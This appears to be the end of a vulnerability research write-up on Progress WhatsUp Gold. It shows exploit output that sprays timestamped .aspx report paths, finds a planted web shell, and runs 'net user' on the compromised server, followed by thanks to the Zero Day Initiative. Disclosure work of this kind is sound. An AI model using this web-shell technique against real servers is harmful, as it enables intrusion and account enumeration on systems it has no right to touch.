(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-26.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-27.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-28.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-29.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-30.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-31.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-32.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-33.aspx
(+) Web shell found at -> https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-33.aspx
Shell> net user
User accounts for \\
-------------------------------------------------------------------------------
Administrator debugger DefaultAccount
Guest WDAGUtilityAccount
The command completed with one or more errors.
Shell>
ZERO DAY INITIATIVE
If it wasn’t because of the talented team working at the Zero Day Initiative, I wouldn’t bother researching Progress at all, shout out to all of you people working there to make the internet safer.